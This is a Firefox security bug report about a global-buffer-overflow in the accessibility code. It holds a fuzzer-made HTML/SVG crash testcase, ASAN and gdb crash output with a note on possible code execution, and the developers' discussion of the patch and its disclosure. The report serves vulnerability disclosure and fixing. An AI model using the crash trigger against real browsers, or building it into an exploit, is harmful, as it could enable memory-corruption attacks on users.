1278915 - global-buffer-overflow in mozilla::a11y::DocAccessible::UncacheChildrenInSubtree

Reporter

Description

•

8 years ago

The following testcase crashes the latest ASAN build of Firefox (buildId 20160605030215).

Testcase (consists of two files, load crash.html in browser with svg.svg in the same path):

crash.html:
<script>
function start() {
        o2=document.createRange();
        o22=document.createElement('frameset');
        o41=document.createElement('frameset');
        o67=document.createElement('meta');
        o112=document.createElement('frame');
        o153=document.createElement('frame');
        o168=document.createElement('input');
        o41.appendChild(o112);
        o22.appendChild(o153);
        o112['replaceWith'](null,-5,4,o168);
        o234=document.createElement('iframe');
        o234.addEventListener('load', f2,false);
        window.top.document.body=o22;
        o265=document.createElement('iframe');
        o67.appendChild(o265);
        window.top.setTimeout(f0, 4);
}
function f0() {
        o2.setStartBefore(o265);
        o2.insertNode(o153);
        o2.surroundContents(o234);
        o373=document.createElement('frame');
        o373.src='svg.svg';
        o524=document.createElement('frameset');
        o524.appendChild(o373);
        window.top.document.body=o524;
}
function f1(o625) {
        try{while(window.top.document.removeChild(window.top.document.firstChild));}catch(e) {}
        o797=window.top.document.implementation.createHTMLDocument();
        o797.body.appendChild(o625);
        o797.body.appendChild(o234);
        window.top.document.appendChild(o797.documentElement);
}
function f2() {
        o168.appendChild(o153);
        window.top.document.body=o41;
        o41.setAttribute('rows','*,*,1638400%,3072%,*,512%,32755%,*,*,125829120%,*,*,5,1,');
}
</script>
<body onload="start()"></body>

svg.svg:
<?xml version="1.0" ?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
<svg xmlns="http://www.w3.org/2000/svg" onload="window.top.f1(this);">
<g>
<animateTransform attributeName="transform" type="rotate" values="0 150 100; 360 150 100" begin="0s" dur="0.01s" />
</g>
</svg>

=================================================================
==13288==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f5e61f13ba8 at pc 0x7f5e5c38306e bp 0x7ffe83c02900 sp 0x7ffe83c028f8
READ of size 8 at 0x7f5e61f13ba8 thread T0 (Web Content)
    #0 0x7f5e5c38306d in ContentChildAt /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/Accessible.h:471
    #1 0x7f5e5c38306d in mozilla::a11y::DocAccessible::UncacheChildrenInSubtree(mozilla::a11y::Accessible*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/DocAccessible.cpp:2200
    #2 0x7f5e5c382d7e in mozilla::a11y::DocAccessible::UpdateTreeOnRemoval(mozilla::a11y::Accessible*, nsIContent*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/DocAccessible.cpp:1887
    #3 0x7f5e5c327b54 in Parent /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/DocAccessible.h:350
    #4 0x7f5e5c327b54 in nsAccessibilityService::ContentRemoved(nsIPresShell*, nsIContent*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/base/nsAccessibilityService.cpp:607
    #5 0x7f5e5b3086b9 in nsCSSFrameConstructor::ContentRemoved(nsIContent*, nsIContent*, nsIContent*, nsCSSFrameConstructor::RemoveFlags, bool*, nsIContent**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsCSSFrameConstructor.cpp:8321
    #6 0x7f5e5b2f7171 in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsCSSFrameConstructor.cpp:9575
    #7 0x7f5e5b26fa2f in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/RestyleManager.cpp:834
    #8 0x7f5e5b29fb2f in ProcessOneRestyle /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/RestyleTracker.cpp:102
    #9 0x7f5e5b29fb2f in mozilla::RestyleTracker::DoProcessRestyles() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/RestyleTracker.cpp:262
    #10 0x7f5e5b277c19 in ProcessRestyles /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/RestyleManager.h:536
    #11 0x7f5e5b277c19 in mozilla::RestyleManager::ProcessPendingRestyles() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/RestyleManager.cpp:1804
    #12 0x7f5e5b4af267 in operator-> /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/RestyleManagerHandleInlines.h:74
    #13 0x7f5e5b4af267 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsPresShell.cpp:4091
    #14 0x7f5e5b1dcaa3 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsRefreshDriver.cpp:1742
    #15 0x7f5e5b1e3bf3 in DoTick /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsRefreshDriver.cpp:1387
    #16 0x7f5e5b1e3bf3 in DoRefresh /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsRefreshDriver.cpp:2140
    #17 0x7f5e5b1e3bf3 in nsRefreshDriver::FinishedWaitingForTransaction() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsRefreshDriver.cpp:1992
    #18 0x7f5e568ec9e7 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/layers/client/ClientLayerManager.cpp:425
    #19 0x7f5e5a50215f in mozilla::dom::TabChild::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/ipc/TabChild.cpp:3000
    #20 0x7f5e569e76af in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:418
    #21 0x7f5e55b28291 in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1235
    #22 0x7f5e5531aea3 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessageChannel.cpp:1657
    #23 0x7f5e55317bfa in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessageChannel.cpp:1595
    #24 0x7f5e55304d25 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessageChannel.cpp:1562
    #25 0x7f5e5532ad50 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:715
    #26 0x7f5e5532ad50 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::*)()> /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:721
    #27 0x7f5e5532ad50 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::*)(), false, true>::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:749
    #28 0x7f5e5532b81f in Run /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:477
    #29 0x7f5e5532b81f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:496
    #30 0x7f5e54588184 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:1029
    #31 0x7f5e54602e0a in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290
    #32 0x7f5e553223ce in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessagePump.cpp:100
    #33 0x7f5e5529297c in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:235
    #34 0x7f5e5529297c in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:228
    #35 0x7f5e5529297c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:208
    #36 0x7f5e5ab5c3f7 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/widget/nsBaseAppShell.cpp:156
    #37 0x7f5e5cb8c352 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:827
    #38 0x7f5e5529297c in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:235
    #39 0x7f5e5529297c in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:228
    #40 0x7f5e5529297c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:208
    #41 0x7f5e5cb8ba30 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:657
    #42 0x48dbf7 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:231
    #43 0x7f5e51dcc82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #44 0x48cb3c in _start (/home/nils/fuzzer3/firefox/plugin-container+0x48cb3c)

0x7f5e61f13ba8 is located 0 bytes to the right of global variable 'nsTArrayHeader::sEmptyHdr' from '/builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/xpcom/build/Unified_cpp_xpcom_build1.cpp' (0x7f5e61f13ba0) of size 8
SUMMARY: AddressSanitizer: global-buffer-overflow /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/accessible/generic/Accessible.h:471 ContentChildAt
Shadow bytes around the buggy address:
  0x0fec4c3da720: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9
  0x0fec4c3da730: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0fec4c3da740: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0fec4c3da750: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0fec4c3da760: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
=>0x0fec4c3da770: f9 f9 f9 f9 00[f9]f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0fec4c3da780: 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0fec4c3da790: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9
  0x0fec4c3da7a0: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0fec4c3da7b0: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0fec4c3da7c0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Contiguous container OOB:fc
  ASan internal:           fe
==13288==ABORTING

Daniel Veditz [:dveditz]

Comment 1

•

8 years ago

Let's guess sec-high for now unless we can come up with a non-ASAN crash in the same place, but either way please fix this.

Group: core-security → dom-core-security

Keywords: sec-high

Nils

Reporter

Comment 2

•

8 years ago

This crashes a non-ASAN build as well. Latest nightly on x64 Linux:

Crash happens on writing to unmapped memory, if this memory can be mapped this could eventually result in arbitrary code execution on address 0x7f034ac1a203 in the example below.


Thread 1 "Web Content" received signal SIGSEGV, Segmentation fault.
0x00007f034ac1a1b5 in mozilla::a11y::DocAccessible::UncacheChildrenInSubtree(mozilla::a11y::Accessible*) () from /home/nils/MonkeyFarm/firefox/libxul.so
(gdb) i r
rax            0x7f034d85a544	139652162233668
rbx            0x7f032e3055c0	139651636549056
rcx            0x0	0
rdx            0x0	0
rsi            0x100000000	4294967296
rdi            0x7f03295fa350	139651555763024
rbp            0x7ffce3fafb60	0x7ffce3fafb60
rsp            0x7ffce3fafb40	0x7ffce3fafb40
r8             0x4	4
r9             0x0	0
r10            0xffffffff	4294967295
r11            0x0	0
r12            0x0	0
r13            0x7f03295fa350	139651555763024
r14            0xffffffff	4294967295
r15            0x7f03295fa350	139651555763024
rip            0x7f034ac1a1b5	0x7f034ac1a1b5 <mozilla::a11y::DocAccessible::UncacheChildrenInSubtree(mozilla::a11y::Accessible*)+19>
eflags         0x10246	[ PF ZF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

(gdb) x/30i $rip 
=> 0x7f034ac1a1b5 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+19>:	orw    $0x2,0x34(%rsi)
   0x7f034ac1a1ba <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+24>:	mov    %rsi,%rbx
   0x7f034ac1a1bd <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+27>:	
    callq  0x7f034ac19ff2 <_ZN7mozilla4a11y13DocAccessible21RemoveDependentIDsForEPNS0_10AccessibleEP7nsIAtom>
   0x7f034ac1a1c2 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+32>:	mov    0x28(%rbx),%rax
   0x7f034ac1a1c6 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+36>:	mov    (%rax),%r14d
   0x7f034ac1a1c9 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+39>:	cmp    %r12d,%r14d
   0x7f034ac1a1cc <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+42>:	
    jbe    0x7f034ac1a1e4 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+66>
   0x7f034ac1a1ce <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+44>:	mov    0x28(%rbx),%rdx
   0x7f034ac1a1d2 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+48>:	mov    %r13,%rdi
   0x7f034ac1a1d5 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+51>:	mov    0x8(%rdx,%r12,8),%rsi
   0x7f034ac1a1da <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+56>:	inc    %r12
   0x7f034ac1a1dd <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+59>:	
    callq  0x7f034ac1a1a2 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE>
   0x7f034ac1a1e2 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+64>:	
    jmp    0x7f034ac1a1c9 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+39>
   0x7f034ac1a1e4 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+66>:	cmpq   $0x0,0x10(%rbx)
   0x7f034ac1a1e9 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+71>:	
    je     0x7f034ac1a23b <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+153>
   0x7f034ac1a1eb <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+73>:	mov    0x34(%rbx),%eax
   0x7f034ac1a1ee <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+76>:	test   $0x4,%al
   0x7f034ac1a1f0 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+78>:	
    jne    0x7f034ac1a23b <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+153>
   0x7f034ac1a1f2 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+80>:	test   $0x8,%al
   0x7f034ac1a1f4 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+82>:	
    jne    0x7f034ac1a23b <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+153>
   0x7f034ac1a1f6 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+84>:	mov    (%rbx),%r12
   0x7f034ac1a1f9 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+87>:	add    $0xc8,%r13
   0x7f034ac1a200 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+94>:	mov    %rbx,%rdi
   0x7f034ac1a203 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+97>:	callq  *0x28(%r12)
   0x7f034ac1a208 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+102>:	mov    %r13,%rdi
   0x7f034ac1a20b <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+105>:	mov    %rax,%rsi
   0x7f034ac1a20e <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+108>:	callq  0x7f034b416c40 <_ZN12PLDHashTable6SearchEPKv>
   0x7f034ac1a213 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+113>:	test   %rax,%rax
   0x7f034ac1a216 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+116>:	
    je     0x7f034ac1a23b <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+153>
   0x7f034ac1a218 <_ZN7mozilla4a11y13DocAccessible24UncacheChildrenInSubtreeEPNS0_10AccessibleE+118>:	cmp    0x10(%rax),%rbx
(gdb) bt 16
#0  0x00007f034ac1a1b5 in mozilla::a11y::DocAccessible::UncacheChildrenInSubtree(mozilla::a11y::Accessible*) () from /home/nils/MonkeyFarm/firefox/libxul.so
#1  0x00007f034ac1a1e2 in mozilla::a11y::DocAccessible::UncacheChildrenInSubtree(mozilla::a11y::Accessible*) () from /home/nils/MonkeyFarm/firefox/libxul.so
#2  0x00007f034ac1a336 in mozilla::a11y::DocAccessible::UpdateTreeOnRemoval(mozilla::a11y::Accessible*, nsIContent*) () from /home/nils/MonkeyFarm/firefox/libxul.so
#3  0x00007f034ac09a56 in nsAccessibilityService::ContentRemoved(nsIPresShell*, nsIContent*) () from /home/nils/MonkeyFarm/firefox/libxul.so
#4  0x00007f034b7ea311 in nsCSSFrameConstructor::ContentRemoved(nsIContent*, nsIContent*, nsIContent*, nsCSSFrameConstructor::RemoveFlags, bool*, nsIContent**) ()
   from /home/nils/MonkeyFarm/firefox/libxul.so
#5  0x00007f034b7e8621 in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) ()
   from /home/nils/MonkeyFarm/firefox/libxul.so
#6  0x00007f034b79bddf in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) () from /home/nils/MonkeyFarm/firefox/libxul.so
#7  0x00007f034b7cba62 in mozilla::RestyleTracker::DoProcessRestyles() () from /home/nils/MonkeyFarm/firefox/libxul.so
#8  0x00007f034b78fecc in mozilla::RestyleManager::ProcessPendingRestyles() () from /home/nils/MonkeyFarm/firefox/libxul.so
#9  0x00007f034b819a53 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) () from /home/nils/MonkeyFarm/firefox/libxul.so
#10 0x00007f034b785ad9 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) () from /home/nils/MonkeyFarm/firefox/libxul.so
#11 0x00007f034a96a2c0 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) [clone .isra.218] ()
   from /home/nils/MonkeyFarm/firefox/libxul.so
#12 0x00007f034a96a3f9 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) () from /home/nils/MonkeyFarm/firefox/libxul.so
#13 0x00007f034a96a567 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) () from /home/nils/MonkeyFarm/firefox/libxul.so
#14 0x00007f034b786f9c in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) () from /home/nils/MonkeyFarm/firefox/libxul.so
#15 0x00007f034aa5dac1 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) () from /home/nils/MonkeyFarm/firefox/libxul.so
(More stack frames follow...)
(gdb)

alexander :surkov (:asurkov)

Assignee

Comment 3

•

8 years ago

one of the problems here is the accessibility engine doesn't expect anything but a DOM document (#document) in children of HTML:iframe. In this example HTML:frame is a DOM child of HTML:iframe.

Is it valid scenario or there's some problem with HTML parser?

alexander :surkov (:asurkov)

Assignee

Comment 4

•

8 years ago

just in case, here's a DOM snapshot, when a11y is notified about thumb element removal from slider element:

    : 0x12e3ee000, document
      : 0x12be893a0, html@id='', idx in parent: 0
        : 0x12be89500, head@id='', idx in parent: 0
        : 0x11fc15fc0, body@id='', idx in parent: 1
          : 0x1209f4e00, svg@id='', idx in parent: 0
            : 0x136be9f80, text node, idx in parent: 0
            : 0x12c57b8e0, g@id='', idx in parent: 1
              : 0x136bfac80, text node, idx in parent: 0
              : 0x12d27b000, animateTransform@id='', idx in parent: 1
              : 0x136ffca80, text node, idx in parent: 2
            : 0x136ffcc80, text node, idx in parent: 2
          : 0x12b574b70, iframe@id='', idx in parent: 1
            : 0x12b574aa0, frame@id='', idx in parent: 0

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Flags: sec-bounty?

alexander :surkov (:asurkov)

Assignee

Updated

•

8 years ago

Priority: -- → P1

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Assignee: nobody → surkov.alexander

alexander :surkov (:asurkov)

Assignee

Comment 5

•

8 years ago

(In reply to alexander :surkov from comment #3)
> one of the problems here is the accessibility engine doesn't expect anything
> but a DOM document (#document) in children of HTML:iframe. In this example
> HTML:frame is a DOM child of HTML:iframe.
> 
> Is it valid scenario or there's some problem with HTML parser?

I tried to appendChild on iframe too, and it seems it rejects the children. Boris, can you take a look please?

Boris Zbarsky [:bzbarsky]

Comment 6

•

8 years ago

Rejects in what sense?  You can totally appendChild a <frame> to an <iframe> in DOM terms.

alexander :surkov (:asurkov)

Assignee

Comment 7

•

8 years ago

(In reply to Boris Zbarsky [:bz] from comment #6)
> Rejects in what sense?  You can totally appendChild a <frame> to an <iframe>
> in DOM terms.

Ok, I think I was confused by the console, when I loaded data:text/html,<iframe> and invoked a script in the console
document.querySelector('iframe').appendChild(document.createElement('frame'));
then the console didn't show me 'frame' in children. Now I see that document.querySelector('iframe').firstChild returns 'frame'.

alexander :surkov (:asurkov)

Assignee

Comment 8

•

8 years ago

Attached patch patch — Details — Splinter Review

Attachment #8771074 - Flags: review?(yzenevich)

Yura Zenevich [:yzen] (please use "needinfo")

Comment 9

•

8 years ago

Comment on attachment 8771074 [details] [diff] [review]
patch

Review of attachment 8771074 [details] [diff] [review]:
-----------------------------------------------------------------

looks good some concerns about the test

::: accessible/tests/mochitest/treeupdate/test_bug1278915.html
@@ +9,5 @@
> +<script type="application/javascript"
> +          src="chrome://mochikit/content/tests/SimpleTest/SimpleTest.js"></script>
> +<script type="application/javascript" src="../common.js"></script>
> +<script>
> +function start() {

this function has a bunch of async operations happening in parallel but is written and is completed as if it they were sequential. If this is not intentional, it has to be improved.

@@ +10,5 @@
> +          src="chrome://mochikit/content/tests/SimpleTest/SimpleTest.js"></script>
> +<script type="application/javascript" src="../common.js"></script>
> +<script>
> +function start() {
> +        o2=document.createRange();

nit: here and below spaces around '='

@@ +19,5 @@
> +        o153=document.createElement('frame');
> +        o168=document.createElement('input');
> +        o41.appendChild(o112);
> +        o22.appendChild(o153);
> +        o112['replaceWith'](null,-5,4,o168);

nit: here and below spaces between args

@@ +27,5 @@
> +        o265=document.createElement('iframe');
> +        o67.appendChild(o265);
> +        window.top.setTimeout(f0, 4);
> +
> +        setTimeout(function() { ok(true, "no crash and assertions"); SimpleTest.finish(); } , 0);

nit: unwrap this in multiline

Attachment #8771074 - Flags: review?(yzenevich) → review+

Daniel Veditz [:dveditz]

Comment 10

•

8 years ago

Do we have a regression range for this, alexander? As a sec-critical/sec-high bug this will need sec-approval and that's one of the questions we need to know. This patch includes a testcase revealing the bug. If it affects released versions we CAN NOT check it in that way -- the test will need to be in a separate patch checked in later.

Flags: sec-bounty?

Flags: sec-bounty+

Flags: needinfo?(surkov.alexander)

Keywords: sec-high → regressionwindow-wanted, sec-critical

Trevor Saunders (:tbsaunde)

Comment 11

•

8 years ago

(In reply to Yura Zenevich [:yzen] from comment #9)
> Comment on attachment 8771074 [details] [diff] [review]
> patch
> 
> Review of attachment 8771074 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> looks good some concerns about the test

uh that MOZ_CRASH should be a MOZ_DIAGNOSTIC_ASSERT or maybe a MOZ_RELEASE_ASSERT

> ::: accessible/tests/mochitest/treeupdate/test_bug1278915.html
> @@ +9,5 @@
> > +<script type="application/javascript"
> > +          src="chrome://mochikit/content/tests/SimpleTest/SimpleTest.js"></script>
> > +<script type="application/javascript" src="../common.js"></script>
> > +<script>
> > +function start() {
> 
> this function has a bunch of async operations happening in parallel but is
> written and is completed as if it they were sequential. If this is not
> intentional, it has to be improved.

If you mean that the setTimeout for simpleTest.finish() will almost certainly happen before the others yes, the test is racey as written and should block SimpleTest.finish() on the other things happening.

That said I suspect it wouldn't be hard to write a much simpler and easily understood test case instead of checking in some fuzzer spew.

alexander :surkov (:asurkov)

Assignee

Comment 12

•

8 years ago

(In reply to Trevor Saunders (:tbsaunde) from comment #11)
> ----------------------------------------------------
> > 
> > looks good some concerns about the test
> 
> uh that MOZ_CRASH should be a MOZ_DIAGNOSTIC_ASSERT or maybe a
> MOZ_RELEASE_ASSERT

what's difference between those?

> > ::: accessible/tests/mochitest/treeupdate/test_bug1278915.html
> > this function has a bunch of async operations happening in parallel but is
> > written and is completed as if it they were sequential. If this is not
> > intentional, it has to be improved.
> 
> If you mean that the setTimeout for simpleTest.finish() will almost
> certainly happen before the others yes, the test is racey as written and
> should block SimpleTest.finish() on the other things happening.
> 
> That said I suspect it wouldn't be hard to write a much simpler and easily
> understood test case instead of checking in some fuzzer spew.

I tried but couldn't do that myself in reasonable time, I'm not even sure I understand how the test works, because, for example, f1 function is not called explicitly by anyone. So I decided to put a test case as is into mochitests. Also we have a bunch of tests like this in treeupdate folder already: they do some crazy stuff and then finish via setTimeout.

Flags: needinfo?(surkov.alexander)

alexander :surkov (:asurkov)

Assignee

Comment 13

•

8 years ago

(In reply to Daniel Veditz [:dveditz] from comment #10)
> Do we have a regression range for this, alexander? As a
> sec-critical/sec-high bug this will need sec-approval and that's one of the
> questions we need to know.

I'm not sure about regression range/bug. Can anyone help on this?

> This patch includes a testcase revealing the bug.
> If it affects released versions we CAN NOT check it in that way -- the test
> will need to be in a separate patch checked in later.

agree, it should go in separate commit. what time range you were refereed when you were saying 'checked in later', just right after the fix or after the fix gets into release?

Trevor Saunders (:tbsaunde)

Comment 14

•

8 years ago

(In reply to alexander :surkov from comment #12)
> (In reply to Trevor Saunders (:tbsaunde) from comment #11)
> > ----------------------------------------------------
> > > 
> > > looks good some concerns about the test
> > 
